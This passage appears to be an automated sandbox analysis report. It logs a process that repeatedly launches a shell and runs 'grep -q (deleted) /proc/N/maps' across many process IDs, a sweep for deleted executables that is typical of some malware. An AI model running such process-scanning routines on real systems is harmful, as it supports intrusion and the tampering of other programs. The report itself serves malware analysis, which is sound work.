Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/102/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6254, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6254, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/103/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6255, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6255, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/104/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6256, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6256, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/105/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6257, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6257, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/106/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6258, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6258, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/107/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6259, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6259, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/108/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6260, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6260, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/109/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6261, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6261, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/11/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6262, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6262, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/110/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6263, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6263, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/111/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6264, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6264, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/112/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6265, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6265, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/113/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6266, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6266, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/114/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6267, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6267, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/115/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6268, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6268, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/116/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6269, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6269, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/117/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6270, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6270, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/118/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6271, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6271, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/119/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6272, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6272, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/12/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6273, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6273, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/120/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6274, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6274, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1207/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6275, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6275, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/121/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6276, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6276, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/122/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6277, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6277, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/123/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6278, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6278, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/124/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6279, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6279, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/125/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6280, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6280, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/126/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6281, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6281, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/127/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6282, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6282, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/128/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6283, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6283, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/13/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6284, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6284, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/130/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6285, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6285, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/132/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6286, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6286, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1320/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6287, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6287, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1334/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6288, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6288, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1335/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6289, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6289, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1344/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6290, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6290, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1349/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6291, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6291, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1389/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6292, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6292, Parent PID: 6240

General

Start time (UTC):	18:17:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/14/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6293, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6293, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/141/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6294, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6294, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/144/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6295, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6295, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1463/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6296, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6296, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1465/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6297, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6297, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1475/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6298, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6298, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1476/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6299, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6299, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1477/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6300, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6300, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1489/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6301, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6301, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1494/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6302, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6302, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/15/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6303, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6303, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1532/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6304, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6304, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/157/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6310, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6310, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1576/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6311, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6311, Parent PID: 6240

General

Start time (UTC):	18:17:06
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1579/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6312, Parent PID: 6240

General

Start time (UTC):	18:17:07
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6312, Parent PID: 6240

General

Start time (UTC):	18:17:07
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1582/maps
File size:	199136 bytes
